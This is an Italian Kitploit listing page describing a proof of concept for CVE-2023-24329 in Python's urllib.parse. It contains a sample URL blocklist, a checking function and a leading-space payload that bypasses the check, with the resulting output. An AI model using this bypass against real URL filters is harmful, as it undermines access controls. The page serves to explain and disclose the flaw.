Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-24329-Exploit — Proof-of-concept che dimostra un bypass nel parsing degli URL in `urllib.parse` di Python (CVE-2023-24329) che consente di aggirare le blocklist anteponendo spazi. | Kitploit
Strumenti/GitHubGitHub/pentestmano/cve-2023-24329-exploit
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubpentestmano/cve-2023-24329-exploit

CVE-2023-24329-Exploit

Proof-of-concept che dimostra un bypass nel parsing degli URL in `urllib.parse` di Python (CVE-2023-24329) che consente di aggirare le blocklist anteponendo spazi.

Vedi Repository
2 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Introduzione

Le funzioni di parsing degli URL si concentrano sulla suddivisione di una stringa URL nei suoi componenti, oppure sulla combinazione dei componenti URL in una stringa URL.

  • urllib.parse.urlparse

Semplicemente urllib.parse viene usato per il parsing degli URL, possiamo bypassarlo aggiungendo spazi prima dell'URL. Questo accade in Python 3.11.4 e versioni precedenti.

PoC

Analizziamo example.py

Ecco un insieme di siti web a cui non dovresti accedere:

root@kitploit:~
blocked_list = [
    "http://example.com/",
    "http://example2.com/"
]

Questa funzione controlla se il sito è nella lista bloccata o meno, se è nella lista bloccata dovrebbe restituire URL Blocked

root@kitploit:~
def is_url_blocked(url):
    parse = urllib.parse.urlparse(url).geturl()
    if  parse in blocked_list: return 'URL Blocked'
    else: return 'Bypassed'

Ora ho aggiunto due URL e controllo se qualcuno di essi è bloccato e non può essere accessibile:

root@kitploit:~
payload1 = "    http://example.com/"
payload2 = "http://example.com/"

print(
    is_url_blocked(payload1),
    "\n",
    is_url_blocked(payload2)
)

payload1 è dove ho bypassato is_url_blocked() perché aggiungere uno spazio lungo prima dell'URL bypasserà urllib.parse.urlparse(url).geturl() e non verrà eseguito come previsto. Ecco perché l'output è

root@kitploit:~
Bypassed

Ma su payload2 otteniamo

root@kitploit:~
URL Blocked

Supporto

Se desideri supportarmi con una donazione, ti consiglio di darla a qualcuno che ne ha davvero bisogno, per favore. Se lo fai, considera che ho guadagnato il tuo supporto.

Buy Me A Coffee

Scarica lo strumento